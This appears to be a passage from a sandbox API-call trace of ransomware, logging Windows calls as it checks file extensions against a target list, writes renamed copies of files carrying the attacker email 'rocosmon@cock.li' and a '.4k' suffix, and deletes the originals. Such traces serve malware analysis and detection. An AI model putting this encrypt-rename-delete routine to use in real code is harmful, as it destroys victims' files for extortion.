	[0102.635] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.635] lstrlenW (lpString=".doc") returned 4
	[0102.635] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.635] lstrlenW (lpString=".docx") returned 5
	[0102.635] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.635] lstrlenW (lpString=".pdf") returned 4
	[0102.635] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.635] lstrlenW (lpString=".xls") returned 4
	[0102.635] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.635] lstrlenW (lpString=".xlsx") returned 5
	[0102.635] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.635] lstrlenW (lpString=".ppt") returned 4
	[0102.635] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.635] lstrlenW (lpString=".zip") returned 4
	[0102.635] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.635] lstrlenW (lpString=".rar") returned 4
	[0102.635] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.635] lstrlenW (lpString=".bz2") returned 4
	[0102.635] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.635] lstrlenW (lpString=".7z") returned 3
	[0102.635] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.635] lstrlenW (lpString=".dbf") returned 4
	[0102.635] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.635] lstrlenW (lpString=".1cd") returned 4
	[0102.635] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.635] lstrlenW (lpString=".jpg") returned 4
	[0102.635] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.636] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.636] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0102.636] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=3479) returned 1
	[0102.636] CloseHandle (hObject=0x210) returned 1
	[0102.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20
	[0102.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0102.636] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.636] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.638] GetLastError () returned 0x0
	[0102.638] ReadFile (in: hFile=0x210, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0xd97, lpOverlapped=0x0) returned 1
	[0102.665] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xda0, lpOverlapped=0x0) returned 1
	[0102.666] ReadFile (in: hFile=0x210, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.667] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0102.667] SetEndOfFile (hFile=0x1f0) returned 1
	[0102.667] CloseHandle (hObject=0x1f0) returned 1
	[0102.667] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.667] SetEndOfFile (hFile=0x210) returned 1
	[0102.677] CloseHandle (hObject=0x210) returned 1
	[0102.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.678] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1
	[0102.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.678] lstrlenW (lpString=".doc") returned 4
	[0102.678] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.678] lstrlenW (lpString=".docx") returned 5
	[0102.678] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.678] lstrlenW (lpString=".pdf") returned 4
	[0102.678] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.678] lstrlenW (lpString=".xls") returned 4
	[0102.678] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.678] lstrlenW (lpString=".xlsx") returned 5
	[0102.678] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.678] lstrlenW (lpString=".ppt") returned 4
	[0102.678] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.678] lstrlenW (lpString=".zip") returned 4
	[0102.678] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.678] lstrlenW (lpString=".rar") returned 4
	[0102.679] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.679] lstrlenW (lpString=".bz2") returned 4
	[0102.679] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.679] lstrlenW (lpString=".7z") returned 3
	[0102.679] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.679] lstrlenW (lpString=".dbf") returned 4
	[0102.679] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.679] lstrlenW (lpString=".1cd") returned 4
	[0102.679] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.679] lstrlenW (lpString=".jpg") returned 4
	[0102.679] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.679] lstrlenW (lpString=".doc") returned 4
	[0102.679] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.679] lstrlenW (lpString=".docx") returned 5
	[0102.679] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.679] lstrlenW (lpString=".pdf") returned 4
	[0102.679] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.679] lstrlenW (lpString=".xls") returned 4
	[0102.679] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.679] lstrlenW (lpString=".xlsx") returned 5
	[0102.679] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.680] lstrlenW (lpString=".ppt") returned 4
	[0102.680] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.680] lstrlenW (lpString=".zip") returned 4
	[0102.680] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.680] lstrlenW (lpString=".rar") returned 4
	[0102.680] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.680] lstrlenW (lpString=".bz2") returned 4
	[0102.680] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.680] lstrlenW (lpString=".7z") returned 3
	[0102.680] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.680] lstrlenW (lpString=".dbf") returned 4
	[0102.680] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.680] lstrlenW (lpString=".1cd") returned 4
	[0102.680] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0102.680] lstrlenW (lpString=".jpg") returned 4
	[0102.680] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.680] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.680] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0102.688] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=43276) returned 1
	[0102.689] CloseHandle (hObject=0x218) returned 1
	[0102.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20
	[0102.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0102.689] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.689] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0102.689] GetLastError () returned 0x0
	[0102.689] ReadFile (in: hFile=0x218, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0xa90c, lpOverlapped=0x0) returned 1
	[0102.833] WriteFile (in: hFile=0x210, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xa910, lpOverlapped=0x0) returned 1
	[0102.835] ReadFile (in: hFile=0x218, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.835] WriteFile (in: hFile=0x210, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.835] SetEndOfFile (hFile=0x210) returned 1
	[0102.835] CloseHandle (hObject=0x210) returned 1
	[0102.836] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.836] SetEndOfFile (hFile=0x218) returned 1
	[0102.837] CloseHandle (hObject=0x218) returned 1
	[0102.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.838] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1
	[0102.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.838] lstrlenW (lpString=".doc") returned 4
	[0102.838] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.838] lstrlenW (lpString=".docx") returned 5
	[0102.838] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.838] lstrlenW (lpString=".pdf") returned 4
	[0102.838] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.838] lstrlenW (lpString=".xls") returned 4
	[0102.838] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.838] lstrlenW (lpString=".xlsx") returned 5
	[0102.838] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.838] lstrlenW (lpString=".ppt") returned 4
	[0102.838] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.838] lstrlenW (lpString=".zip") returned 4
	[0102.838] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.838] lstrlenW (lpString=".rar") returned 4
	[0102.838] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.838] lstrlenW (lpString=".bz2") returned 4
	[0102.838] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.839] lstrlenW (lpString=".7z") returned 3
	[0102.839] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.839] lstrlenW (lpString=".dbf") returned 4
	[0102.839] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.839] lstrlenW (lpString=".1cd") returned 4
	[0102.839] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.839] lstrlenW (lpString=".jpg") returned 4
	[0102.839] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.839] lstrlenW (lpString=".doc") returned 4
	[0102.839] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.839] lstrlenW (lpString=".docx") returned 5
	[0102.839] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.839] lstrlenW (lpString=".pdf") returned 4
	[0102.839] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.839] lstrlenW (lpString=".xls") returned 4
	[0102.839] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.839] lstrlenW (lpString=".xlsx") returned 5
	[0102.839] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.839] lstrlenW (lpString=".ppt") returned 4
	[0102.839] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.840] lstrlenW (lpString=".zip") returned 4
	[0102.840] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.840] lstrlenW (lpString=".rar") returned 4
	[0102.840] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.840] lstrlenW (lpString=".bz2") returned 4
	[0102.840] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.840] lstrlenW (lpString=".7z") returned 3
	[0102.840] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.840] lstrlenW (lpString=".dbf") returned 4
	[0102.840] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.840] lstrlenW (lpString=".1cd") returned 4
	[0102.840] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0102.840] lstrlenW (lpString=".jpg") returned 4
	[0102.840] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.840] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.840] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.868] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=20371) returned 1
	[0102.869] CloseHandle (hObject=0x1d0) returned 1
	[0102.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20
	[0102.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.869] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.869] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0102.873] GetLastError () returned 0x0
	[0102.873] ReadFile (in: hFile=0x1d0, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x4f93, lpOverlapped=0x0) returned 1
	[0103.035] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x4fa0, lpOverlapped=0x0) returned 1
	[0103.039] ReadFile (in: hFile=0x1d0, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0103.039] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0103.039] SetEndOfFile (hFile=0x1d8) returned 1
	[0103.039] CloseHandle (hObject=0x1d8) returned 1
	[0103.039] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.039] SetEndOfFile (hFile=0x1d0) returned 1
	[0103.040] CloseHandle (hObject=0x1d0) returned 1
	[0103.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0103.040] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1
	[0103.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.040] lstrlenW (lpString=".doc") returned 4
	[0103.041] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0103.041] lstrlenW (lpString=".docx") returned 5
	[0103.041] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0103.041] lstrlenW (lpString=".pdf") returned 4
	[0103.041] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0103.041] lstrlenW (lpString=".xls") returned 4
	[0103.041] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0103.041] lstrlenW (lpString=".xlsx") returned 5
	[0103.041] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0103.041] lstrlenW (lpString=".ppt") returned 4
	[0103.041] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0103.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.041] lstrlenW (lpString=".zip") returned 4
	[0103.041] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0103.041] lstrlenW (lpString=".rar") returned 4
	[0103.041] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0103.041] lstrlenW (lpString=".bz2") returned 4
	[0103.041] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0103.041] lstrlenW (lpString=".7z") returned 3
	[0103.041] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
